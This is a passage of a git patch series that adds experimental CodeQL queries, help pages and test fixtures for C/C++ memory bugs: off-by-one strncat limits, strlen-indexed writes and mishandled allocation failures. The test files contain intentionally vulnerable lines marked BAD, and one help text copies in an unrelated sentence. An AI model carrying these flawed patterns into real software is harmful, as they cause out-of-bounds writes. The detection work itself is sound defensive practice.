recommend using an extra byte call. for example <code> strncat(dest, src, sizeof(dest)-strlen(dest)-1) </code>.</p> + +</recommendation> +<example> +<p>The following example demonstrates an erroneous and corrected use of the strncat function.</p> +<sample src="AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c" /> + +</example> +<references> + +<li> + CERT C Coding Standard: +<a href="https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator">STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator</a>. +</li> +<li> + CERT C Coding Standard: + <a href="https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts">ARR30-C. Do not form or use out-of-bounds pointers or array subscripts</a>. +</li> + +</references> +</qhelp> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql new file mode 100644 index 00000000000..fd82fc86fc3 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql @@ -0,0 +1,65 @@ +/** + * @name Access Of Memory Location After The End Of A Buffer Using Strncat + * @description --Calls of the form strncat(dest, src, sizeof (dest) - strlen (dest)) set the third argument to one more than possible. + * --So when the buffer is full, the expression sizeof(dest) - strlen (dest) will be equal to one, and not zero as the programmer might think. + * --Making a call of this type may result in a zero byte being written just outside the buffer. + * @kind problem + * @id cpp/access-memory-location-after-end-buffer + * @problem.severity warning + * @precision medium + * @tags correctness + * security + * external/cwe/cwe-788 + */ + +import cpp +import semmle.code.cpp.valuenumbering.HashCons + +/** + * A call to `strncat` of the form `strncat(buff, str, someExpr - strlen(buf))`, for some expression `someExpr` equal to `sizeof(buff)`. + */ +class WrongCallStrncat extends FunctionCall { + Expr leftsomeExpr; + + WrongCallStrncat() { + this.getTarget().hasGlobalOrStdName("strncat") and + // the expression of the first argument in `strncat` and `strnlen` is identical + hashCons(this.getArgument(0)) = + hashCons(this.getArgument(2).(SubExpr).getRightOperand().(StrlenCall).getStringExpr()) and + // using a string constant often speaks of manually calculating the length of the required buffer. + ( + not this.getArgument(1) instanceof StringLiteral and + not this.getArgument(1) instanceof CharLiteral + ) and + // for use in predicates + leftsomeExpr = this.getArgument(2).(SubExpr).getLeftOperand() + } + + /** + * Holds if the left side of the expression `someExpr` equal to `sizeof(buf)`. + */ + predicate isExpressionEqualSizeof() { + // the left side of the expression `someExpr` is `sizeof(buf)`. + hashCons(this.getArgument(0)) = hashCons(leftsomeExpr.(SizeofExprOperator).getExprOperand()) + or + // value of the left side of the expression `someExpr` equal `sizeof(buf)` value, and `buf` is array. + leftsomeExpr.getValue().toInt() = this.getArgument(0).getType().getSize() + } + + /** + * Holds if the left side of the expression `someExpr` equal to variable containing the length of the memory allocated for the buffer. + */ + predicate isVariableEqualValueSizegBuffer() { + // the left side of expression `someExpr` is the variable that was used in the function of allocating memory for the buffer`. + exists(AllocationExpr alc | + leftsomeExpr.(VariableAccess).getTarget() = + alc.(FunctionCall).getArgument(0).(VariableAccess).getTarget() + ) + } +} + +from WrongCallStrncat sc +where + sc.isExpressionEqualSizeof() or + sc.isVariableEqualValueSizegBuffer() +select sc, "if the used buffer is full, writing out of the buffer is possible" From fcd532522d1e928f01afd78a814309a981a380d4 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Sun, 24 Jan 2021 22:36:42 +0300 Subject: [PATCH 0785/1241] Add files via upload --- ...ationAfterEndOfBufferUsingStrncat.expected | 3 ++ ...LocationAfterEndOfBufferUsingStrncat.qlref | 1 + .../Security/CWE/CWE-788/semmle/tests/test.c | 28 +++++++++++++++++++ 3 files changed, 32 insertions(+) create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.expected new file mode 100644 index 00000000000..af52dac0144 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.expected @@ -0,0 +1,3 @@ +| test.c:4:3:4:9 | call to strncat | if the used buffer is full, writing out of the buffer is possible | +| test.c:11:3:11:9 | call to strncat | if the used buffer is full, writing out of the buffer is possible | +| test.c:19:3:19:9 | call to strncat | if the used buffer is full, writing out of the buffer is possible | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qlref new file mode 100644 index 00000000000..8fd8b1b3217 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c new file mode 100644 index 00000000000..212baf83497 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c @@ -0,0 +1,28 @@ +void workFunction_0(char *s) { + char buf[80]; + strncat(buf, s, sizeof(buf)-strlen(buf)-1); // GOOD + strncat(buf, s, sizeof(buf)-strlen(buf)); // BAD + strncat(buf, "fix", sizeof(buf)-strlen(buf)); // BAD but usually the size of the buffer is calculated manually. +} +void workFunction_1(char *s) { +#define MAX_SIZE 80 + char buf[MAX_SIZE]; + strncat(buf, s, MAX_SIZE-strlen(buf)-1); // GOOD + strncat(buf, s, MAX_SIZE-strlen(buf)); // BAD + strncat(buf, "fix", MAX_SIZE-strlen(buf)); // BAD but usually the size of the buffer is calculated manually. +} +void workFunction_2_0(char *s) { + char * buf; + int len=80; + buf = (char *) malloc(len); + strncat(buf, s, len-strlen(buf)-1); // GOOD + strncat(buf, s, len-strlen(buf)); // BAD + strncat(buf, "fix", len-strlen(buf)); // BAD but usually the size of the buffer is calculated manually. +} +void workFunction_2_1(char *s) { + char * buf; + int len=80; + buf = (char *) malloc(len+1); + strncat(buf, s, len-strlen(buf)-1); // GOOD + strncat(buf, s, len-strlen(buf)); // GOOD +} From 9071ba2f99ef3f09732999b517a72d45b30c210e Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 25 Jan 2021 00:06:19 +0300 Subject: [PATCH 0786/1241] Add files via upload --- ...ctingAndHandlingMemoryAllocationErrors.cpp | 32 +++++++ ...ingAndHandlingMemoryAllocationErrors.qhelp | 29 ++++++ ...ectingAndHandlingMemoryAllocationErrors.ql | 93 +++++++++++++++++++ 3 files changed, 154 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp new file mode 100644 index 00000000000..6fc3bc2f893 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp @@ -0,0 +1,32 @@ +// BAD: no memory allocation errors are detected +void f(const int *array, std::size_t size) noexcept { + int *copy = new int[size]; + std::memcpy(copy, array, size * sizeof(*copy)); + // ... + delete [] copy; +} +// GOOD: memory allocation errors are detected +void f(const int *array, std::size_t size) noexcept { + int *copy; + try { + copy = new int[size]; + } catch(std::bad_alloc) { + // Handle error + return; + } + // At this point, copy has been initialized to allocated memory + std::memcpy(copy, array, size * sizeof(*copy)); + // ... + delete [] copy; +} +// GOOD: memory allocation errors are detected +void f(const int *array, std::size_t size) noexcept { + int *copy = new (std::nothrow) int[size]; + if (!copy) { + // Handle error + return; + } + std::memcpy(copy, array, size * sizeof(*copy)); + // ... + delete [] copy; +} diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp new file mode 100644 index 00000000000..4b7941a5846 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp @@ -0,0 +1,29 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p>when using the new operator to allocate memory, you need to pay attention to the different way of detecting errors. so <code> ::operator new(std::size_t) </code> throws an exception on error, and <code> ::operator new(std::size_t, const std::nothrow_t &) </code> returns zero on error. the programmer can get confused and check the error that occurs when allocating memory incorrectly. That can lead to an unhandled program termination or to a violation of the program logic.</p> + +<p>Loss of detection probably refers to use cases where memory allocation using your own solutions with strong nesting. It is also possible when using a buffer in the form of fields of different structures with the same names.</p> + +</overview> +<recommendation> + +<p>We recommend using the error detection method, depending on the selected memory allocation method.</code>.</p> + +</recommendation> +<example> +<p>The following file demonstrates various approaches to detecting memory allocation errors using the new operator.</p> +<sample src="WrongInDetectingAndHandlingMemoryAllocationErrors.cpp" /> + +</example> +<references> + +<li> + CERT C++ Coding Standard: +<a href="https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM52-CPP.+Detect+and+handle+memory+allocation+errors">MEM52-CPP. Detect and handle memory allocation errors</a>. +</li> + +</references> +</qhelp> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql new file mode 100644 index 00000000000..383c8a1f128 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql @@ -0,0 +1,93 @@ +/** + * @name Сonfusion In Detecting And Handling Memory Allocation Errors + * @description --::operator new(std::size_t) throws an exception on error, and ::operator new(std::size_t, const std::nothrow_t &) returns zero on error. + * --the programmer can get confused when check the error that occurs when allocating memory incorrectly. + * --Making a call of this type may result in a zero byte being written just outside the buffer. + * @kind problem + * @id cpp/detect-and-handle-memory-allocation-errors + * @problem.severity warning + * @precision medium + * @tags correctness + * security + * external/cwe/cwe-570 + */ + +import cpp + +/** + * Lookup if condition compare with 0 + */ +class IfCompareWithZero extends IfStmt { + IfCompareWithZero() { + this.getCondition().(EQExpr).getAChild().getValue() = "0" + or + this.getCondition().(NEExpr).getAChild().getValue() = "0" and + this.hasElse() + } +} + +/** + * lookup for calls to `operator new`, with incorrect error handling. + */ +class WrongCheckErrorOperatorNew extends FunctionCall { + Expr exp; + + WrongCheckErrorOperatorNew() { + this = exp.(NewOrNewArrayExpr).getAChild().(FunctionCall) and + ( + this.getTarget().hasGlobalOrStdName("operator new") + or + this.getTarget().hasGlobalOrStdName("operator new[]") + ) + } + + /** + * Holds if handler `try ... catch` exists. + */ + predicate isExistsTryCatchBlock() { + exists(TryStmt tb, AssignExpr aex, Initializer it | + tb.getAChild*() = exp + or + exp = it.getExpr() and + tb.getAChild*().(DeclStmt).getADeclaration() = it.getDeclaration() + or + aex.getAChild*() = exp and + tb.getAChild*().(AssignExpr) = aex + ) + } + + /** + * Holds if results call `operator new` check in `operator if`. + */ + predicate isExistsIfCondition() { + exists(IfCompareWithZero ifc, AssignExpr aex, Initializer it | + // call `operator new` directly from the condition of `operator if`. + this = ifc.getCondition().getAChild() + or + // check results call `operator new` with variable appropriation + postDominates(ifc, this) and + aex.getAChild() = exp and + ifc.getCondition().getAChild().(VariableAccess).getTarget() = + aex.getLValue().(VariableAccess).getTarget() + or + // check results call `operator new` with declaration variable + postDominates(ifc, this) and + exp = it.getExpr() and + it.getDeclaration() = ifc.getCondition().getAChild().(VariableAccess).getTarget() + ) + } + + /** + * Holds if `(std::nothrow)` exists in call `operator new`. + */ + predicate isExistsNothrow() { this.getAChild().toString() = "nothrow" } +} + +from WrongCheckErrorOperatorNew op +where + // use call `operator new` with `(std::nothrow)` and checking error using `try ... catch` block and not `operator if` + op.isExistsNothrow() and not op.isExistsIfCondition() and op.isExistsTryCatchBlock() + or + // use call `operator new` without `(std::nothrow)` and checking error using `operator if` and not `try ... catch` block + not op.isExistsNothrow() and not op.isExistsTryCatchBlock() and op.isExistsIfCondition() +select op, "memory allocation error check is incorrect or missing" From 20e19ec4677c1e414fceb17d16de31327967fe5a Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 25 Jan 2021 00:09:55 +0300 Subject: [PATCH 0787/1241] Add files via upload --- ...AndHandlingMemoryAllocationErrors.expected | 5 + ...ingAndHandlingMemoryAllocationErrors.qlref | 1 + .../CWE/CWE-570/semmle/tests/test.cpp | 97 +++++++++++++++++++ 3 files changed, 103 insertions(+) create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.expected new file mode 100644 index 00000000000..80e82cff212 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.expected @@ -0,0 +1,5 @@ +| test.cpp:30:15:30:26 | call to operator new[] | memory allocation error check is incorrect or missing | +| test.cpp:38:9:38:20 | call to operator new[] | memory allocation error check is incorrect or missing | +| test.cpp:50:13:50:38 | call to operator new[] | memory allocation error check is incorrect or missing | +| test.cpp:51:22:51:47 | call to operator new[] | memory allocation error check is incorrect or missing | +| test.cpp:53:18:53:43 | call to operator new[] | memory allocation error check is incorrect or missing | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.qlref new file mode 100644 index 00000000000..fc3252ef122 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/WrongInDetectingAndHandlingMemoryAllocationErrors.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp new file mode 100644 index 00000000000..6f03f896024 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp @@ -0,0 +1,97 @@ +#define NULL ((void*)0) +class exception {}; + +namespace std{ + struct nothrow_t {}; + typedef unsigned long size_t; + class bad_alloc{ + const char* what() const throw(); + }; + extern const std::nothrow_t nothrow; +} + +using namespace std; + +void* operator new(std::size_t _Size); +void* operator new[](std::size_t _Size); +void* operator new( std::size_t count, const std::nothrow_t& tag ); +void* operator new[]( std::size_t count, const std::nothrow_t& tag ); + +void badNew_0_0() +{ + while (true) { + new int[100]; + if(!(new int[100])) + return; + } +} +void badNew_0_1() +{ + int * i = new int[100]; + if(i == 0) + return; + if(!i) + return; + if(i == NULL) + return; + int * j; + j = new int[100]; + if(j == 0) + return; + if(!j) + return; + if(j == NULL) + return; +} +void badNew_1_0() +{ + try { + while (true) { + new(std::nothrow) int[100]; + int* p = new(std::nothrow) int[100]; + int* p1; + p1 = new(std::nothrow) int[100]; + } + } catch (const exception &){//const std::bad_alloc& e) { +// std::cout << e.what() << '\n'; + } +} +void badNew_1_1() +{ + while (true) { + int* p = new(std::nothrow) int[100]; + new(std::nothrow) int[100]; + } +} + +void goodNew_0_0() +{ + try { + while (true) { + new int[100]; + } + } catch (const exception &){//const std::bad_alloc& e) { +// std::cout << e.what() << '\n'; + } +} + +void goodNew_1_0() +{ + while (true) { + int* p = new(std::nothrow) int[100]; + if (p == nullptr) { +// std::cout << "Allocation returned nullptr\n"; + break; + } + int* p1; + p1 = new(std::nothrow) int[100]; + if (p1 == nullptr) { +// std::cout << "Allocation returned nullptr\n"; + break; + } + if (new(std::nothrow) int[100] == nullptr) { +// std::cout << "Allocation returned nullptr\n"; + break; + } + } +} From 9ae503a5a820ad535a949e1d13b9f368aea7a1eb Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 25 Jan 2021 00:30:35 +0300 Subject: [PATCH 0788/1241] Add files via upload --- ...emoryLocationAfterEndOfBufferUsingStrlen.c | 9 ++++++ ...yLocationAfterEndOfBufferUsingStrlen.qhelp | 31 +++++++++++++++++++ ...moryLocationAfterEndOfBufferUsingStrlen.ql | 25 +++++++++++++++ 3 files changed, 65 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.c create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.c b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.c new file mode 100644 index 00000000000..ba78d4b97d1 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.c @@ -0,0 +1,9 @@ +// BAD: if buffer does not have a terminal zero, then access outside the allocated memory is possible. + +buffer[strlen(buffer)] = 0; + + +// GOOD: we will eliminate dangerous behavior if we use a different method of calculating the length. +size_t len; +... +buffer[len] = 0 diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp new file mode 100644 index 00000000000..372a3e1d1c4 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp @@ -0,0 +1,31 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p>Potentially dangerous use of the strlen function to calculate the length of a string. +The expression <code>buffer[strlen(buffer)] = 0</code> is potentially dangerous, if the variable buffer does not have a terminal zero, then access beyond the bounds of the allocated memory is possible, which will lead to undefined behavior. +If terminal zero is present, then the specified expression is meaningless.</p> + +<p>False positives include heavily nested strlen. This situation is unlikely.</p> + +</overview> +<recommendation> + +<p>We recommend using another method for calculating the string length</p> + +</recommendation> +<example> +<p>The following example demonstrates an erroneous and corrected use of the strlen function.</p> +<sample src="AccessOfMemoryLocationAfterEndOfBuffer.c" /> + +</example> +<references> + +<li> + CERT C Coding Standard: + <a href="https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string">STR32-C. Do not pass a non-null-terminated character sequence to a library function that expects a string</a>. +</li> + +</references> +</qhelp> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql new file mode 100644 index 00000000000..80c7f2104ab --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql @@ -0,0 +1,25 @@ +/** + * @name Access Of Memory Location After End Of Buffer + * @description --The expression buffer [strlen (buffer)] = 0 is potentially dangerous, if the variable buffer does not have a terminal zero, then access beyond the bounds of the allocated memory is possible, which will lead to undefined behavior. + * --If terminal zero is present, then the specified expression is meaningless. + * --We recommend using another method for calculating the string length. + * @kind problem + * @id cpp/access-memory-location-after-end-buffer + * @problem.severity warning + * @precision medium + * @tags correctness + * security + * external/cwe/cwe-788 + */ + +import cpp +import semmle.code.cpp.valuenumbering.HashCons + +from FunctionCall fc, AssignExpr expr, ArrayExpr exprarr +where + fc.getTarget().hasGlobalOrStdName("strlen") and + exprarr = expr.getLValue() and + expr.getRValue().getValue().toInt() = 0 and + exprarr.getArrayOffset() = fc and + hashCons(fc.getArgument(0)) = hashCons(exprarr.getArrayBase()) +select expr, "use a different method to calculate the length." From b899229298218b20c34540219088f0bb06170728 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 25 Jan 2021 00:33:54 +0300 Subject: [PATCH 0789/1241] Add files via upload --- ...cationAfterEndOfBufferUsingStrlen.expected | 9 ++++ ...yLocationAfterEndOfBufferUsingStrlen.qlref | 1 + .../Security/CWE/CWE-788/semmle/tests/test.c | 44 +++++++++++++++++++ 3 files changed, 54 insertions(+) create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected new file mode 100644 index 00000000000..82d3e224993 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected @@ -0,0 +1,9 @@ +| test.c:13:3:13:24 | ... = ... | use a different method to calculate the length. | +| test.c:14:3:14:40 | ... = ... | use a different method to calculate the length. | +| test.c:15:3:15:40 | ... = ... | use a different method to calculate the length. | +| test.c:16:3:16:44 | ... = ... | use a different method to calculate the length. | +| test.c:17:3:17:44 | ... = ... | use a different method to calculate the length. | +| test.c:18:3:18:48 | ... = ... | use a different method to calculate the length. | +| test.c:19:3:19:48 | ... = ... | use a different method to calculate the length. | +| test.c:20:3:20:50 | ... = ... | use a different method to calculate the length. | +| test.c:21:3:21:50 | ... = ... | use a different method to calculate the length. | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref new file mode 100644 index 00000000000..6ba005d087a --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c new file mode 100644 index 00000000000..84487670bf7 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c @@ -0,0 +1,44 @@ +struct buffers +{ + unsigned char buff1[50]; + unsigned char *buff2; +} globalBuff1,*globalBuff2,globalBuff1_c,*globalBuff2_c; + + +void badFunc0(){ + unsigned char buff1[12]; + struct buffers buffAll; + struct buffers * buffAll1; + + buff1[strlen(buff1)]=0; + buffAll.buff1[strlen(buffAll.buff1)]=0; + buffAll.buff2[strlen(buffAll.buff2)]=0; + buffAll1->buff1[strlen(buffAll1->buff1)]=0; + buffAll1->buff2[strlen(buffAll1->buff2)]=0; + globalBuff1.buff1[strlen(globalBuff1.buff1)]=0; + globalBuff1.buff2[strlen(globalBuff1.buff2)]=0; + globalBuff2->buff1[strlen(globalBuff2->buff1)]=0; + globalBuff2->buff2[strlen(globalBuff2->buff2)]=0; +} +void noBadFunc0(){ + unsigned char buff1[12],buff1_c[12]; + struct buffers buffAll,buffAll_c; + struct buffers * buffAll1,*buffAll1_c; + + buff1[strlen(buff1_c)]=0; + buffAll.buff1[strlen(buffAll_c.buff1)]=0; + buffAll.buff2[strlen(buffAll.buff1)]=0; + buffAll1->buff1[strlen(buffAll1_c->buff1)]=0; + buffAll1->buff2[strlen(buffAll1->buff1)]=0; + globalBuff1.buff1[strlen(globalBuff1_c.buff1)]=0; + globalBuff1.buff2[strlen(globalBuff1.buff1)]=0; + globalBuff2->buff1[strlen(globalBuff2_c->buff1)]=0; + globalBuff2->buff2[strlen(globalBuff2->buff1)]=0; +} +void goodFunc0(){ + unsigned char buffer[12]; + int i; + for(i = 0; i < 6; i++) + buffer[i] = 'A'; + buffer[i]=0; +} From c235462f7d224b047134b463bf14bb811426eea3 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 25 Jan 2021 09:43:57 +0100 Subject: [PATCH 0790/1241] C++: Sync `IRType.qll` --- cpp/ql/src/semmle/code/cpp/ir/implementation/IRType.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/IRType.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/IRType.qll index 3bf3bf2e276..e0bccafae6b 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/IRType.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/IRType.qll @@ -341,7 +341,7 @@ module IRTypeConsistency { query predicate multipleIRTypes(Language::LanguageType type, string message) { strictcount(type.getIRType()) > 1 and message = - "`LanguageType` " + type.getAQlClass() + " has multiple `IRType`s: " + + "`LanguageType` " + type + " has multiple `IRType`s: " + concat(type.getIRType().toString(), ", ") } From d86705fe7ada209e7e1602a69162b25ed3441d00 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 25 Jan 2021 10:43:39 +0100 Subject: [PATCH 0791/1241] remove benign result for js/whitespace-contradicts-precedence related to " | 0" expressions --- .../Expressions/WhitespaceContradictsPrecedence.ql | 13 ++++++++++++- .../WhitespaceContradictsPrecedence/tst.js | 3 +++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/Expressions/WhitespaceContradictsPrecedence.ql b/javascript/ql/src/Expressions/WhitespaceContradictsPrecedence.ql index 3c6b1d3f381..36d9f773708 100644 --- a/javascript/ql/src/Expressions/WhitespaceContradictsPrecedence.ql +++ b/javascript/ql/src/Expressions/WhitespaceContradictsPrecedence.ql @@ -61,6 +61,16 @@ class HarmlessNestedExpr extends BinaryExpr { } } +/** + * Holds if contradicting whitespace for `binop` is unlikely to cause confusion. + */ +predicate benignWhitespace(BinaryExpr binop) { + // asm.js like `expr |0` binary expression. + not binop.getParent() instanceof BinaryExpr and + binop.getOperator() = "|" and + binop.getRightOperand().getIntValue() = 0 +} + /** * Holds if `inner` is an operand of `outer`, and the relative precedence * may not be immediately clear, but is important for the semantics of @@ -69,7 +79,8 @@ class HarmlessNestedExpr extends BinaryExpr { predicate interestingNesting(BinaryExpr inner, BinaryExpr outer) { inner = outer.getAChildExpr() and not inner instanceof AssocNestedExpr and - not inner instanceof HarmlessNestedExpr + not inner instanceof HarmlessNestedExpr and + not benignWhitespace(outer) } from BinaryExpr inner, BinaryExpr outer diff --git a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js index 3131563fc7a..d9942a5ec4a 100644 --- 